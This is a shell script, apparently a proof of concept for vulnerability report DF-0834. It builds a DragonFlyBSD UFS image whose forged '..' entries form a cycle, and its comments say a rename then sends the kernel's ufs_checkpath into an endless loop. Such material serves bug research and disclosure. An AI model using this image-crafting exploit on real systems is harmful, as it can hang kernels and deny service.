DF-0834 / craft_image.sh
#!/bin/sh # DF-0834 craft_image.sh — build a UFS/FFS image with a cyclic `..` chain. # # Must run as root on the DragonFlyBSD guest (needs vnconfig + newfs + mount). # # Layout produced: # / (root, ino 2) # /S (source dir; normal `..` -> root) -- rename source # /A (target dir; FORGED `..` -> B) # /B (FORGED `..` -> A) # # `mv S A/S_moved` invokes ufs_checkpath(S, A) which walks A's `..` chain. # With A->B->A->B... (neither root nor the source S), the loop never exits. # # Output: df0834.img in CWD (default 4 MB UFS1/FFS). set -e cd "$(dirname "$0")" IMG=df0834.img SIZE_MB=4 MNT=/mnt/df0834_craft # Fresh image file. rm -f "$IMG" dd if=/dev/zero of="$IMG" bs=1m count="$SIZE_MB" 2>&1 | tail -1 # Attach a vnode device. VNDEV=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1) [ -n "$VNDEV" ] || { echo "vnconfig failed"; exit 2; } echo "vn device: $VNDEV" DEV="/dev/$VNDEV" # newfs as FFS (DragonFly's native UFS1 format, FS_MAGIC=0x011954). # Default block/frag are fine for a 4 MB image. echo "=== newfs ===" newfs "$DEV" 2>&1 | tail -8 # Mount, create the three directories, capture inode numbers, unmount. mkdir -p "$MNT" mount -t ufs "$DEV" "$MNT" mkdir "$MNT/S" "$MNT/A" "$MNT/B" echo "=== ls -li (inode numbers) ===" ls -li "$MNT" # Extract inode numbers via stat (field %i = inode). S_INO=$(stat -f '%i' "$MNT/S") A_INO=$(stat -f '%i' "$MNT/A") B_INO=$(stat -f '%i' "$MNT/B") echo "S_INO=$S_INO A_INO=$A_INO B_INO=$B_INO" umount "$MNT" vnconfig -u "$VNDEV" 2>/dev/null || true # Patch the `..` entries to form the cycle A<->B. echo "=== patching .. inodes ===" ./patch_ufs "$IMG" "$A_INO" "$B_INO" |